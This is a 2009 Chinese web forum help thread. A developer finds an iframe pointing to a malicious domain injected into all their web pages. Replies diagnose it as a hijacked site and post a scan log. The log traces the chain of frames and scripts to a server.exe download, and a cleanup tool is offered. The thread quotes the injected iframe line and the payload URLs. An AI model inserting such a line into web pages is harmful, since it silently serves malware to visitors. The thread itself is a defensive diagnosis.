1   1  /  1  页   跳转

[求助] 是不是新木马

是不是新木马

我的开发系统中的所有网页后面都被注入了 这一行代码  <iframe src=http://mm.uu88567.cn/index/mm.htm width=100 height=0></iframe>  搞的系统都崩了  现在还不知道其它地方有没有感染 晚上在安全模式下杀了一晚上 都没有查出来  现在该怎么办 帮忙 急死了

用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)
分享到:
gototop
 

回复:是不是新木马

被挂马了。

希望LZ用SREnglog扫描一份日志,传上来
我一直在努力,一直在进步~~~~~
我不优秀,只是现在!

我知道每一个脚印都有它笃定的追求,
每一点进步都有我们永不言弃的奋斗!
gototop
 

回复: 是不是新木马

Log is generated by FreShow.
[wide]http://mm.uu88567.cn/index/mm.htm
    [frame]http://mm.uu88567.cn/index/ct14.htm
        [script]http://js.tongji.linezing.com/944527/tongji.js
            [script]http://js.tongji.linezing.com/944527/\""+_st_dest+"\"
    [frame]http://mm.uu88567.cn/index/ytfll.htm
        [frame]http://mm.uu88567.cn/index/yt.jpg
            [script]http://mm.uu88567.cn/index/\'go1.jpg\'
                [object]http://bb.ok8uuer5.cn/bb/server.exe
            [script]http://mm.uu88567.cn/index/\'go.jpg\'
            [script]http://mm.uu88567.cn/index/\'go2.jpg\'
            [script]http://mm.uu88567.cn/index/\'go3.jpg\'
    [frame]http://mm.uu88567.cn/index/z.htm
        [script]http://mm.uu88567.cn/index/do.css
            [object]http://bb.ok8uuer5.cn/bb/server.exe
        [script]http://mm.uu88567.cn/index/z.css
    [frame]http://mm.uu88567.cn/index/ctvod.htm
    [frame]http://mm.uu88567.cn/index/ctxxz.htm
    [frame]http://mm.uu88567.cn/index/ctqm.htm
    [frame]http://mm.uu88567.cn/index/ct122121.htm
    [script]http://js.tongji.linezing.com/944527/tongji.js



下载附件清除被添加代码的网页

附件附件:

文件名:iframekill.rar
下载次数:433
文件类型:application/octet-stream
文件大小:
上传时间:2009-7-22 0:56:56
描述:rar

不认识我没关系,因为我也不认识你。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT